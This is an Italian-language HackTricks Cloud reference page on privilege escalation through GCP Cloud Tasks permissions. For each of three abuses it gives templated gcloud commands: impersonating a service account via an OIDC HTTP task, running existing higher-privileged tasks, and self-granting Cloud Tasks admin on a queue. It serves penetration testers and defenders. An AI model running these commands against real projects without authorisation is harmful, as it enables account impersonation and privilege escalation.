GCP - Cloud Tasks Privesc
Reading time: 3 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Cloud Tasks
cloudtasks.tasks.create, iam.serviceAccounts.actAs
Un attaccante con questi permessi può impersonare altri account di servizio creando attività che vengono eseguite con l'identità dell'account di servizio specificato. Questo consente di inviare richieste HTTP autenticate ai servizi Cloud Run o Cloud Functions protetti da IAM.
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
cloudtasks.tasks.run, cloudtasks.tasks.list
Un attaccante con questi permessi può eseguire attività programmate esistenti senza avere permessi sull'account di servizio associato all'attività. Questo consente di eseguire attività che sono state precedentemente create con account di servizio con privilegi più elevati.
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
Il principale che esegue questo comando non ha bisogno del permesso iam.serviceAccounts.actAs sull'account di servizio del task. Tuttavia, questo consente solo di eseguire task esistenti - non concede la possibilità di creare o modificare task.
cloudtasks.queues.setIamPolicy
Un attaccante con questo permesso può assegnare a se stesso o ad altri principali ruoli di Cloud Tasks su code specifiche, potenzialmente elevandosi a roles/cloudtasks.admin che include la possibilità di creare ed eseguire task.
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
Questo consente all'attaccante di concedere permessi di amministratore completi di Cloud Tasks sulla coda a qualsiasi account di servizio che controllano.
Riferimenti
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud